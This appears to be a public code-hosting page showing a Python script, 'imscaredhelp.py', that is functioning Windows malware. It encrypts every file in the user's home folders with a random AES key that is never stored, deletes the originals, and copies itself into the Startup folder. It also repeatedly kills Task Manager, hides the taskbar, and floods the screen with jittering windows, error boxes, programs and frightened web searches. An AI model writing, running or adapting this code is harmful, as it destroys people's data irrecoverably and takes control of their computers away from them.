-
Notifications
You must be signed in to change notification settings - Fork 0
/
imscaredhelp.py
161 lines (124 loc) · 4.54 KB
/
imscaredhelp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
import pyautogui
import random
import time
import subprocess
import webbrowser
import pygetwindow as gw
import ctypes
from ctypes import wintypes
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import os
import shutil
import psutil
import sys
import threading
def pad(data):
while len(data) % 16 != 0:
data += b' '
return data
def encrypt_files(key):
main = os.path.expanduser('~')
priority = [
os.path.join(main, 'Documents'),
os.path.join(main, 'Desktop'),
os.path.join(main, 'Downloads'),
os.getenv('APPDATA')
]
most_useless = [
os.path.join(os.getenv('LOCALAPPDATA'), 'Microsoft', 'Edge')
]
def process_directory(directory):
for dirpath, dirnames, filenames in os.walk(directory):
for filename in filenames:
filename = os.path.join(dirpath, filename)
try:
with open(filename, 'rb') as file:
data = file.read()
data = pad(data)
cipher = AES.new(key, AES.MODE_ECB)
ciphertext = cipher.encrypt(data)
if ".enc" in filename or os.path.basename(sys.argv[0]) in filename:
pass
else:
print(f"encrypting: {filename}")
with open(filename + ".enc", 'wb') as file:
file.write(ciphertext)
os.remove(filename)
except:
pass
for path in priority:
process_directory(path)
for dirpath, dirnames, filenames in os.walk(main):
if dirpath not in priority and dirpath not in most_useless:
process_directory(dirpath)
key = get_random_bytes(16)
def mouse_shaking():
time.sleep(15)
pyautogui.FAILSAFE = False
li = [1, 1]
last_update_time = time.time()
mouse_shaking_coords = lambda li: [x + 1 for x in li]
while True:
dx = random.randint(-li[0], li[0])
dy = random.randint(-li[1], li[1])
pyautogui.moveRel(dx, dy)
current_time = time.time()
if current_time - last_update_time > 10:
li = mouse_shaking_coords(li)
last_update_time = current_time
def open_apps():
global browser_query
time.sleep(15)
timer = 15
while True:
apps = random.choice(['notepad.exe', 'cmd', 'calc.exe'])
browser_query = ['what can i do when im afraid?', 'im very scared. what should i do?', 'im so scared someone please help me', 'imscaredhelp']
url = f"https://www.google.com/search?q={random.choice(browser_query)}"
subprocess.Popen(apps, shell=True)
webbrowser.open(url)
time.sleep(timer)
if timer != 1: timer -= 1
def jitter_windows():
time.sleep(15)
while True:
try:
all_windows = gw.getWindowsWithTitle('')
for win in all_windows:
dx = random.randint(-5, 5)
dy = random.randint(-5, 5)
win.move(dx, dy)
except:
pass
def messages():
time.sleep(15)
timer = 15
while True:
ctypes.windll.user32.MessageBoxW(0, f'{random.randbytes(111)}', f'{random.randbytes(10)}', 0x00000002 | 0x00000030)
time.sleep(timer)
if timer != 1: timer -= 1
def startup():
main_file = sys.argv[0]
startup_folder = os.path.join(os.getenv('APPDATA'), 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup')
shutil.copy(main_file, startup_folder)
def hide_taskbar():
time.sleep(15)
taskbar_handle = ctypes.windll.user32.FindWindowW("Shell_TrayWnd", None)
ctypes.windll.user32.ShowWindow(taskbar_handle, 0)
def kill_taskmgr():
while True:
try:
for process in psutil.process_iter(['pid', 'name']):
if process.info['name'] == "Taskmgr.exe":
process.terminate()
except:
pass
if __name__ == "__main__":
threading.Thread(target=kill_taskmgr).start()
threading.Thread(target=startup).start()
threading.Thread(target=hide_taskbar).start()
threading.Thread(target=open_apps).start()
threading.Thread(target=messages).start()
threading.Thread(target=jitter_windows).start()
threading.Thread(target=mouse_shaking).start()
threading.Thread(target=encrypt_files, args=(key,)).start()